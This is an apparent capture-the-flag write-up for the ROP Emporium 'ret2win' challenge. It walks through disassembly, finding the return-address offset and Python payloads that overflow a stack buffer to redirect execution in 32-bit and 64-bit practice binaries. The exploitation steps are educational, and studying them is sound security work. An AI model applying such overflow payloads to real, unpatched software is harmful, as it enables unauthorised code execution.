ret2win

32 bit

All the functions available to us.

Interesting ones that pop out are main, pwnme, and ret2win. Lets go ahead and disassemble these and see what are we working with.

pwnme.disassembly
pwndbg> disassemble pwnme 
Dump of assembler code for function pwnme:
   0x080485f6 <+0>:     push   ebp
   0x080485f7 <+1>:     mov    ebp,esp
   0x080485f9 <+3>:     sub    esp,0x28
   0x080485fc <+6>:     sub    esp,0x4
   0x080485ff <+9>:     push   0x20
   0x08048601 <+11>:    push   0x0
   0x08048603 <+13>:    lea    eax,[ebp-0x28]
   0x08048606 <+16>:    push   eax
   0x08048607 <+17>:    call   0x8048460 <memset@plt>
   0x0804860c <+22>:    add    esp,0x10
   0x0804860f <+25>:    sub    esp,0xc
   0x08048612 <+28>:    push   0x804873c
   0x08048617 <+33>:    call   0x8048420 <puts@plt>
   0x0804861c <+38>:    add    esp,0x10
   0x0804861f <+41>:    sub    esp,0xc
   0x08048622 <+44>:    push   0x80487bc
   0x08048627 <+49>:    call   0x8048420 <puts@plt>
   0x0804862c <+54>:    add    esp,0x10
   0x0804862f <+57>:    sub    esp,0xc
   0x08048632 <+60>:    push   0x8048821
   0x08048637 <+65>:    call   0x8048400 <printf@plt>
   0x0804863c <+70>:    add    esp,0x10
   0x0804863f <+73>:    mov    eax,ds:0x804a060
   0x08048644 <+78>:    sub    esp,0x4
   0x08048647 <+81>:    push   eax
   0x08048648 <+82>:    push   0x32 -> Size of fgets input
   0x0804864a <+84>:    lea    eax,[ebp-0x28]
   0x0804864d <+87>:    push   eax -> Address being loaded to
   0x0804864e <+88>:    call   0x8048410 <fgets@plt>
   0x08048653 <+93>:    add    esp,0x10
   0x08048656 <+96>:    nop
   0x08048657 <+97>:    leave  
   0x08048658 <+98>:    ret    
End of assembler dump.

So we have a fgets which takes 50 bytes of input and tries to store the string into a 32 bytes buffer as described by the challenge text.

$ ./ret2win32 
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> 
ret2win.disassembly
pwndbg> disassemble ret2win 
Dump of assembler code for function ret2win:
   0x08048659 <+0>:     push   ebp
   0x0804865a <+1>:     mov    ebp,esp
   0x0804865c <+3>:     sub    esp,0x8
   0x0804865f <+6>:     sub    esp,0xc
   0x08048662 <+9>:     push   0x8048824
   0x08048667 <+14>:    call   0x8048400 <printf@plt>
   0x0804866c <+19>:    add    esp,0x10
   0x0804866f <+22>:    sub    esp,0xc
   0x08048672 <+25>:    push   0x8048841
   ## Prints flag to the screen
   0x08048677 <+30>:    call   0x8048430 <system@plt>
   0x0804867c <+35>:    add    esp,0x10
   0x0804867f <+38>:    nop
   0x08048680 <+39>:    leave  
   0x08048681 <+40>:    ret    
End of assembler dump.
pwndbg> 

So now our task is to use the overflowed buffer to call the ret2win function and get the flag.

Now we'll try and find the offset which will give us the precise control of the EIP register.

$ msf-pattern_create -l 100 > pattern.string; cat pattern.string | ./ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Segmentation fault

So now we have a segmentation fault, and we can check the failed EIP using dmesg logs and find the offset value.

$ sudo dmesg | tail -2
[ 3369.503758] ret2win32[8889]: segfault at 35624134 ip 0000000035624134 sp 00000000ffdd6570 error 14 in libc-2.29.so[f7d14000+1d000]
[ 3369.503766] Code: Bad RIP value.

# Our bad EIP value is 35624134

$ msf-pattern_offset -q 0x35624134
[*] Exact match at offset 44

# Let's confirm our control of IP

$ python -c 'print "A"*44 + "B"*4' | ./ret2win32                                                                                                       
ret2win by ROP Emporium                                                                                                                                
32bits                                                                                                                                                 
                                                                                                                                                       
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;                                                        
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Segmentation fault

$ sudo dmesg | tail -2
[ 3573.424132] ret2win32[8937]: segfault at 42424242 ip 0000000042424242 sp 00000000ff9f67b0 error 14 in libc-2.29.so[f7d86000+1d000]
[ 3573.424144] Code: Bad RIP value.

Now we have the desired control of EIP. Now we'll check the address of the function to jump to, to get our precious flag.

$ readelf -s ./ret2win32 | grep ret2win
    37: 00000000     0 FILE    LOCAL  DEFAULT  ABS ret2win.c
    39: 08048659    41 FUNC    LOCAL  DEFAULT   14 ret2win

Now we can construct our exploit and point our EIP to this address to get the flag.

$ python -c 'import struct; print "A"*44 + struct.pack("<I", int("0x08048659", 16))' > exploit.payload; cat exploit.payload | ./ret2win32 
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault

64 bit

The functions and their functionality remains the same throughout the binaries so we'll jump right to finding the offset to control our RIP.

$ msf-pattern_create -l 100 > pattern.string

We can not use the same trick of checking the dmesg for messed up EIP as in case of 64 binaries the result is at RSP and its value is not visible in dmesg.

So value of our RSP is 0x3562413462413362 and the offset value is

$ msf-pattern_offset -q 0x3562413462413362
[*] Exact match at offset 40

So let's confirm our RIP control.

$ python -c 'print "A"*40 + "B"*8' > trial.payload

So now we have our control and we can now find the address of the desired function and point the RIP to that address and get our flag.

$ readelf -s  ./ret2win | grep ret2win
    37: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS ret2win.c
    39: 0000000000400811    32 FUNC    LOCAL  DEFAULT   14 ret2win

As you can see, there are plenty of NULL bytes which should break our exploit, but they won't as we are using fgets, which only terminates input when it gets a newline or an EOF. So NULL bytes are no problems in this case. Lets construct our final payload and get the flag.

$ python -c 'from pwn import *; print "A"*40 + p64(0x400811)' > exploit.payload
$ cat exploit.payload | ./ret2win 
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault

Last updated